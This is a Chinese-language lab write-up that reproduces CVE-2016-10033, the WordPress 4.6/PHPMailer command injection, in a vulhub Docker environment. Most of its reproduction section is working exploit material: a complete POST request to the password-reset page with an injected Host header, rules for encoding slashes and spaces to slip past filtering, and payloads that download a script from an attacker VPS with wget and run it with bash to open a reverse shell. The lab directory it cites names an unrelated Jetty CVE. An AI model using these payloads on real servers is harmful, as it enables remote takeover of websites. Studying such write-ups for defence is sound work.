Wordpress 4.6 任意命令执行漏洞

# 【漏洞复现】Wordpress 4.6 任意命令执行漏洞(CVE-2016-10033)

申明:本测试只用于学习分享,请勿未授权情况下进行渗透测试,切勿用作其他用途。

0x01漏洞背景

漏洞名称 Wordpress 4.6 任意命令执行漏洞
漏洞编号 CVE-2016-10033
影响版本 WordPress <= 4.6.0 PHPMailer < 5.2.18
严重等级 高危

WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。

0x02漏洞原理

该漏洞主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。

0x03漏洞环境

利用vulhub的docker环境搭建

在 /vulhub/jetty/CVE-2021-28164 目录下运行

编译及运行测试环境

1
docker-compose up -d

image-20210616222420450

由于Mysql初始化需要一段时间,所以请等待。成功运行后,访问http://ip:8080/打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。

image-20210616222555188

配置网站基本信息

image-20210616222704750

安装成功

image-20210616222751006

0x04漏洞复现

漏洞在找回密码处

image-20210616222947879

发送以下数据包,执行touch /tmp/safefox命令

1
2
3
4
5
6
7
8
9
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}safefox}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=***

其中***为已经存在的用户,所以这里使用刚才创建的是safefox

image-20210616225314746

进入目标容器

1
docker-compose exec web bash

image-20210616223757367

命令执行成功

但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:

  1. 执行的命令不能包含大量特殊字符,如:、引号等。
  2. 命令会被转换成小写字母
  3. 命令需要使用绝对路径
  4. 需要知道某一个存在的用户的用户名

需要注意:

  • 该命令执行只在服务器端默默执行命令,不会显示在客户端响应界面

反弹shell

payload转换规则:

1
2
1.payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
2.payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替

在vps上创建 vps-ip/1.txt 反弹shell命令

下载反弹命令脚本到/tmp下重命名为shell

1
target(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell vps-ip/1.txt}} null) 

转化为:

1
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}vps-ip${substr{0}{1}{$spool_directory}}1.txt}} null)

image-20210617000450527

在容器中查看,执行成功

image-20210617003440269

执行/tmp下的shell脚本

1
target(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)

转化为:

1
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)

burp只要一发包,vps即可反弹上靶机的shell

image-20210617003319820

成功getshell

0x05解决方案

更新wordpress、phpmailer到最新版本

学习更多安全知识,请关注vx公众号“[RainBowText]安全狐[/RainBowText]”